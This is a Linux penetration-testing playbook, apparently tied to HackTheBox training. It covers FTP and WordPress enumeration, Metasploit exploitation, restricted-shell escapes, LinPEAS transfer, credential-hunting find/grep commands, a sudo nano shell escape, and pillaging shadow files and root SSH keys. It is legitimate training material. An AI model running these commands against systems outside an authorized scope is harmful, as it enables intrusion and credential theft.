playbooks

Objective

Systematically compromise a Linux target by moving through information gathering, initial access, post-exploitation enumeration, privilege escalation, and pillaging to achieve root and collect evidence.

Prerequisites

  • Scope defined and ROE signed — see Pentesting Fundamentals
  • Network scan complete — active host and open ports identified
  • Note-taking environment ready — log all commands, timestamps, and outputs

Phase 1 — Linux Information Gathering

Collect as much information as possible about the target before attempting exploitation. Look for service versions, exposed files, and weak configurations.

FTP Enumeration

FTP may allow anonymous login. If accessible, check for files containing usernames, credentials, or SSH keys.

ℹ︎FTP Commands:

Connect to FTP service

ftp <target-IP>

Username: anonymous / Password: (anything) List files and owning usernames

ls

Long listing with permissions and hidden files

ls -la

Download a file

get <filename>

If access to a user home directory: check .bash_history, download private SSH keys if present.

WordPress Enumeration (WPScan)

If the target serves a WordPress site, enumerate plugins and check for known vulnerabilities.

ℹ︎WPScan Commands: 
wpscan -e p --url https://<target-IP> --disable-tls-checks --no-banner --plugins-detection aggressive -t 100

With results, search for known exploits in Metasploit:

msfconsole -q
search wordpress <plugin-name>

Verify version match before using

info 0

Tools

Phase 2 — Initial Access

Exploit a discovered vulnerability to gain a foothold on the target system.

Metasploit Exploitation

Use a vulnerability identified in Phase 1 to gain a shell.

ℹ︎Metasploit Commands: 
msfconsole -q
search <service/plugin-name>
use <module>
set RHOSTS <target-IP>
set LHOST <attacker-IP>

If target uses HTTPS: set SSL true and set RPORT 443

run

SSH Access

If credentials or a private key were obtained, use SSH for direct access.

ℹ︎SSH Commands: 
ssh <username>@<target-IP>
ssh -i <private-key> <username>@<target-IP>

rbash Escape

If the shell after login is restricted (rbash), escalate to a full bash session before attempting any further enumeration. rbash blocks commands, path traversal, and output redirection.

ℹ︎rbash Escape Commands:

Force bash at login time (bypasses shell assignment in /etc/passwd):

ssh <username>@<target-IP> "bash --noprofile"

Request a pseudo-terminal with bash:

ssh <username>@<target-IP> -t "bash --noprofile"

If you are already in rbash, escape via an editor or language runtime: vi → :set shell=/bin/bash → :shell

python3 -c 'import os; os.system("/bin/bash")'
awk 'BEGIN {system("/bin/bash")}'

After escaping, fix PATH:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Low Hanging Fruits — Checklist

Before moving to deeper exploitation, review the initial Nmap scan line by line:

ℹ︎Quick Wins Checklist:
  • FTP on port 21 — anonymous login allowed? Any readable files?
  • Default web page on port 80/443 — recently configured or forgotten?
  • Any domain names in SSL certificates or HTTP headers?
  • Known CVEs for identified service versions?
  • Default or weak credentials on web interfaces (port 8161 message broker, admin panels)?
  • Configuration files exposed on web directories?

Do not fixate on a single service — work through everything in the scan. Research any unfamiliar services before moving on.

Tools

Phase 3 — Linux System Enumeration

After gaining access, gather detailed information about the compromised system to identify privilege escalation paths, sensitive data, and weaknesses.

Minimum Information to Collect

CategoryWhat to Gather
SystemOS version, kernel version, architecture
UsersAll accounts, current privileges, sudo rights
NetworkInterfaces, routing table, active connections
ServicesRunning processes, listening ports, scheduled tasks
FilesystemInteresting files, permission issues, mounted drives
SoftwareInstalled applications, versions, potential CVEs
SecurityFirewall rules, SELinux status, AppArmor profiles

LinPEAS — Automated Enumeration

LinPEAS from the PEASS-ng suite automates the above collection and highlights privilege escalation vectors.

ℹ︎LinPEAS Commands:

Download:

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Transfer to target:

scp linpeas.sh <username>@<target-IP>:/tmp/linpeas.sh
scp -i <private-key> linpeas.sh <username>@<target-IP>:/tmp/linpeas.sh

Execute on target:

dos2unix linpeas.sh
bash linpeas.sh -a -N > /tmp/linpeas_results.txt

Retrieve results:

scp -i <private-key> <username>@<target-IP>:/tmp/linpeas_results.txt ./

Credential Hunting

Before pivoting, search for stored credentials in common locations — config files, history, environment variables, and web roots often contain plaintext passwords, API keys, or SSH keys.

ℹ︎Credential Hunting Commands:

Command history:

cat ~/.bash_history
cat ~/.zsh_history

Config files:

find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password\|passwd\|secret\|key" 2>/dev/null
find / -name "*.env" -readable 2>/dev/null
find / -name "wp-config.php" -readable 2>/dev/null

Database config files:

find / -name "database.yml" -o -name "db.php" -o -name "settings.py" 2>/dev/null

SSH keys:

find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

Environment variables:

env | grep -i "pass\|secret\|key\|token"

linpeas covers most of these automatically — run it first and check the credentials section.

Tools

Phase 4 — Linux Vulnerability Assessment

Analyze enumeration output to identify privilege escalation vectors.

Analysis Checklist

ℹ︎Vulnerability Analysis Checklist:
  • Kernel version — research known kernel exploits using identified version
  • LinPEAS output — linux-exploit-suggester runs automatically and suggests exploits
  • Sudo rights — sudo -l to view commands the current user can run as root
  • GTFOBins — check if any sudo-allowed binaries can be used to escape to a shell
  • Installed tools — curl, wget, python available for transferring files or executing payloads?
  • SUID/SGID binaries — LinPEAS flags these; check GTFOBins for exploitability
  • Writable cron jobs or scripts — check for scheduled tasks running as root

sudo -l Output Reference

ℹ︎sudo -l Output Reference:

env_reset — reset risky environment settings mail_badpass — notify admin of incorrect passwords secure_path — restrict PATH to safe locations use_pty — run commands in a secure PTY Can run nano as root without a password (check GTFOBins)

(root) NOPASSWD: /usr/bin/nano

Full admin access (password required)

(ALL : ALL) ALL

Tools

Phase 5 — Linux Privilege Escalation

Escalate from standard user to root using identified vectors.

Goal

Gain root (superuser) access.

Sudo Abuse

If a binary is listed in sudo -l, check GTFOBins for a shell escape.

ℹ︎Sudo Abuse Commands:

List sudo permissions

sudo -l

GTFOBins reference: https://gtfobins.github.io/

Example (nano as root → shell escape): sudo nano → ^R^X → reset; sh 1>&0 2>&0

Post-Escalation Enumeration

After gaining root, run the full enumeration again with elevated privileges — access to previously unreadable files, unmounted drives, and system credentials.

ℹ︎Post-Escalation Commands:

Re-run as root

bash linpeas.sh -a -N > /tmp/linpeas_root.txt

Mount unmounted drives for further analysis

Tools

Phase 6 — Linux Pillaging

Extract sensitive information from the compromised root-level system for lateral movement, data exfiltration, or reporting evidence.

What to Look For

  • Credentials previously inaccessible (config files, environment variables, .bash_history)
  • AppArmor profiles revealing what other services are being protected
  • Root SSH private key (/root/.ssh/id_rsa) — provides root access to other machines in the network
  • Additional CVEs discovered with new filesystem access
  • Shadow file — contains hashed passwords for all system accounts

linpill.sh (HTB Companion)

A lightweight HTB-provided pillaging script. Less thorough than LinPEAS but stores all output neatly in /tmp.

ℹ︎linpill Commands: 
dos2unix linpill.sh
bash linpill.sh

Script: linpill.sh — available from HackTheBox resources

Tools

References / Images